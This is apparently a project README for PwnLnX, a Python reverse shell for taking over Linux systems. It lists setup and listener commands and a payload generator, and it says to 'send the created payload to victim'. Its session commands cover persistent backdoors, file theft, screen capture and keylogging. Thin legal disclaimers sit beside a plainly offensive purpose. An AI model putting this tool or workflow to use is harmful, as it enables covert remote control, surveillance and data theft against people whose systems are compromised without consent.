PwnLnX - An Advanced Multi-Threaded, Multi-Client Python Reverse Shell For Hacking Linux Systems

An advanced multi-threaded, multi-client python reverse shell for hacking linux systems. There's still more work to do so feel free to help out with the development. Disclaimer: This reverse shell should only be used in the lawful, remote administration of authorized systems. Accessing a computer network without authorization or permission is illegal.

Getting Started

Please follow these instructions to get a copy of PwnLnX running on your local machine without any problems.

  • Python3:
    • vidstream
    • pyfiglet
    • tqdm
    • mss
    • termcolor
    • pyautogui
    • pyinstaller
    • pip3
    • pynput

# Download source codegit clone https://github.com/spectertraww/PwnLnX.gitcd PwnLnX# download and  install the dipendenceschmod +x setup.sh./setup.sh

Getting PwnLnx up and running

Show help

python3 PwnLnX.py --help

Listening for incoming connections

python3 PwnLnX.py --lhost [your localhost ip address] --lport [free port for listening incoming connections]

creating/Generating a payload
chmod +x PwnGen.sh./PwnGen.sh

then follow the procedure to successifully create your payload, the payload is saved in PwnLnx directory. Send the created payload to victim

PwnLnx Usage
Command Usage
help show help
exit close all the sessions and quit the progaram.
show sessions show all available sessions from connected.
session [ID] interact with a specified session ID.
kill [all/ID] kill a specified session or all to kill all sessions.
banner have funny by changing the program banner

Interact with a session
Command Usage
help show help.
quit close the current session.
background background the current session.
sysinfo get minimum target system information.
create_persist create a persistant backdoor.
upload upload the specified filename to the target system.
download download the specified filename from the target system.
screenshot take a desktop screenshot of the target system.
start_screenshare start desktop screensharing.
stop_screenshare stop desktop screensharing.
start_keycap start capturing victim's pressed keystrokes.
dump_keycap dump/get the captured keystrokes.
stop_keycap stop the capturing keystrokes.

NB. you can also execute linux system commands besides those listed above.


I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.

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